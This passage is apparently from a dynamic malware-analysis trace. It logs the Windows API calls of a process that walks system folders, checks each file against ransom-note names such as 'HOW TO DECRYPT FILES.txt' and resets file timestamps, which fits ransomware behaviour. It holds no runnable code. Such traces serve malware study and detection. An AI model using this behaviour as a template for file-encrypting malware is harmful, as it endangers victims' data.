ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d0ecf05, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0125.289] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.289] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d0ecf05, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.289] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.290] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.290] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf065ffff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xf065ffff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb564860, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="basebrd.dll", cAlternateFileName="")) returned 1 [0125.290] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.290] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="basebrd.dll") returned 1 [0125.290] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="basebrd.dll") returned 1 [0125.290] lstrcmpiA (lpString1="", lpString2="basebrd.dll") returned -1 [0125.290] PathFindFileNameA (pszPath="C:\\Windows\\Branding\\Basebrd\\*.*") returned="*.*" [0125.290] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Branding\\Basebrd\\" | out: lpString1="C:\\Windows\\Branding\\Basebrd\\") returned="C:\\Windows\\Branding\\Basebrd\\" [0125.290] PathAddBackslashA (in: pszPath="C:\\Windows\\Branding\\Basebrd\\" | out: pszPath="C:\\Windows\\Branding\\Basebrd\\") returned="" [0125.293] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0125.351] CloseHandle (hObject=0x88) returned 1 [0125.368] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa466c4a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d113174, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0125.368] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0125.368] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0125.368] PathFindFileNameA (pszPath="C:\\Windows\\Branding\\Basebrd\\basebrd.dll") returned="basebrd.dll" [0125.368] FindFirstFileA (in: lpFileName="C:\\Windows\\Branding\\Basebrd\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa466c4a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d113174, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501550, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.369] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.369] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa466c4a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d113174, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0125.369] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.369] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.369] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66a29a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd85a5ff, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd66a29a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="basebrd.dll.mui", cAlternateFileName="")) returned 1 [0125.369] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.369] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="basebrd.dll.mui") returned 1 [0125.369] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="basebrd.dll.mui") returned 1 [0125.369] lstrcmpiA (lpString1="", lpString2="basebrd.dll.mui") returned -1 [0125.369] PathFindFileNameA (pszPath="C:\\Windows\\Branding\\Basebrd\\en-US\\*.*") returned="*.*" [0125.369] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Branding\\Basebrd\\en-US\\" | out: lpString1="C:\\Windows\\Branding\\Basebrd\\en-US\\") returned="C:\\Windows\\Branding\\Basebrd\\en-US\\" [0125.369] PathAddBackslashA (in: pszPath="C:\\Windows\\Branding\\Basebrd\\en-US\\" | out: pszPath="C:\\Windows\\Branding\\Basebrd\\en-US\\") returned="" [0125.371] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0125.371] CloseHandle (hObject=0x8c) returned 1 [0125.372] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66a29a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd85a5ff, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd66a29a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="basebrd.dll.mui", cAlternateFileName="")) returned 0 [0125.372] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.372] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa466c4a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d113174, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0125.372] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0125.372] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d00806b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ShellBrd", cAlternateFileName="")) returned 1 [0125.372] lstrcmpA (lpString1=".", lpString2="ShellBrd") returned -1 [0125.372] lstrcmpA (lpString1="..", lpString2="ShellBrd") returned -1 [0125.372] PathFindFileNameA (pszPath="C:\\Windows\\Branding\\*.*") returned="*.*" [0125.372] FindFirstFileA (in: lpFileName="C:\\Windows\\Branding\\ShellBrd\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d00806b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0125.373] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.373] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d00806b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.373] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.373] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.373] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf79f8344, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xf79f8344, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeba99880, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x185e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="shellbrd.dll", cAlternateFileName="")) returned 1 [0125.373] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.373] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="shellbrd.dll") returned -1 [0125.373] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="shellbrd.dll") returned -1 [0125.373] lstrcmpiA (lpString1="", lpString2="shellbrd.dll") returned -1 [0125.373] PathFindFileNameA (pszPath="C:\\Windows\\Branding\\ShellBrd\\*.*") returned="*.*" [0125.373] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Branding\\ShellBrd\\" | out: lpString1="C:\\Windows\\Branding\\ShellBrd\\") returned="C:\\Windows\\Branding\\ShellBrd\\" [0125.373] PathAddBackslashA (in: pszPath="C:\\Windows\\Branding\\ShellBrd\\" | out: pszPath="C:\\Windows\\Branding\\ShellBrd\\") returned="" [0125.375] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0125.375] CloseHandle (hObject=0x88) returned 1 [0125.376] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf79f8344, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xf79f8344, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeba99880, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x185e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="shellbrd.dll", cAlternateFileName="")) returned 0 [0125.376] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0125.376] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d00806b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ShellBrd", cAlternateFileName="")) returned 0 [0125.376] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0125.376] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x61766720, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x61766720, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720042, dwReserved1=0x6e0061, cFileName="CSC", cAlternateFileName="")) returned 1 [0125.376] lstrcmpA (lpString1=".", lpString2="CSC") returned -1 [0125.376] lstrcmpA (lpString1="..", lpString2="CSC") returned -1 [0125.376] PathFindFileNameA (pszPath="C:\\Windows\\*.*") returned="*.*" [0125.376] FindFirstFileA (in: lpFileName="C:\\Windows\\CSC\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x61766720, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x61766720, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0125.377] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.377] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x61766720, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x61766720, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.377] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.377] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.377] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61766720, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x6178c880, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x6178c880, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="v2.0.6", cAlternateFileName="V20~1.6")) returned 1 [0125.377] lstrcmpA (lpString1=".", lpString2="v2.0.6") returned -1 [0125.377] lstrcmpA (lpString1="..", lpString2="v2.0.6") returned -1 [0125.377] PathFindFileNameA (pszPath="C:\\Windows\\CSC\\*.*") returned="*.*" [0125.377] FindFirstFileA (in: lpFileName="C:\\Windows\\CSC\\v2.0.6\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x40000000, ftCreationTime.dwLowDateTime=0x18fba8, ftCreationTime.dwHighDateTime=0xffffffff, ftLastAccessTime.dwLowDateTime=0x18faa8, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x18fcac, dwReserved0=0x76c3075a, dwReserved1=0x400, cFileName="", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0125.378] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61766720, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x6178c880, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x6178c880, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="v2.0.6", cAlternateFileName="V20~1.6")) returned 0 [0125.378] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0125.378] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530043, dwReserved1=0x43, cFileName="Cursors", cAlternateFileName="")) returned 1 [0125.378] lstrcmpA (lpString1=".", lpString2="Cursors") returned -1 [0125.378] lstrcmpA (lpString1="..", lpString2="Cursors") returned -1 [0125.378] PathFindFileNameA (pszPath="C:\\Windows\\*.*") returned="*.*" [0125.378] FindFirstFileA (in: lpFileName="C:\\Windows\\Cursors\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x320076, dwReserved1=0x30002e, cFileName=".", cAlternateFileName="")) returned 0x502518 [0125.378] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.378] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x300000, cFileName="..", cAlternateFileName="")) returned 1 [0125.379] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.379] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.379] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe248f7e3, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xe248f7e3, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xe24b5941, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aero_arrow.cur", cAlternateFileName="")) returned 1 [0125.379] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.379] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_arrow.cur") returned 1 [0125.379] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_arrow.cur") returned 1 [0125.379] lstrcmpiA (lpString1="", lpString2="aero_arrow.cur") returned -1 [0125.379] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\*.*") returned="*.*" [0125.379] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.379] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.383] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0125.384] CloseHandle (hObject=0x84) returned 1 [0125.384] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa307c749, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa307c749, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe24b5941, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_arrow_l.cur", cAlternateFileName="")) returned 1 [0125.384] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.384] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_arrow_l.cur") returned 1 [0125.384] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_arrow_l.cur") returned 1 [0125.384] lstrcmpiA (lpString1="", lpString2="aero_arrow_l.cur") returned -1 [0125.384] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_arrow.cur") returned="aero_arrow.cur" [0125.384] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.384] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.384] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30a28a6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa30a28a6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe24dba9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_arrow_xl.cur", cAlternateFileName="")) returned 1 [0125.384] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.384] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_arrow_xl.cur") returned 1 [0125.385] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_arrow_xl.cur") returned 1 [0125.385] lstrcmpiA (lpString1="", lpString2="aero_arrow_xl.cur") returned -1 [0125.385] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_arrow_l.cur") returned="aero_arrow_l.cur" [0125.385] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.385] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.385] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa340e801, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa340e801, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2501bfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_busy.ani", cAlternateFileName="")) returned 1 [0125.385] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.385] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_busy.ani") returned 1 [0125.385] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_busy.ani") returned 1 [0125.385] lstrcmpiA (lpString1="", lpString2="aero_busy.ani") returned -1 [0125.385] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_arrow_xl.cur") returned="aero_arrow_xl.cur" [0125.385] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.385] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.386] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343495e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa343495e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2501bfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_busy_l.ani", cAlternateFileName="")) returned 1 [0125.386] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.386] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_busy_l.ani") returned 1 [0125.386] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_busy_l.ani") returned 1 [0125.386] lstrcmpiA (lpString1="", lpString2="aero_busy_l.ani") returned -1 [0125.386] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_busy.ani") returned="aero_busy.ani" [0125.386] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.386] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.386] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: 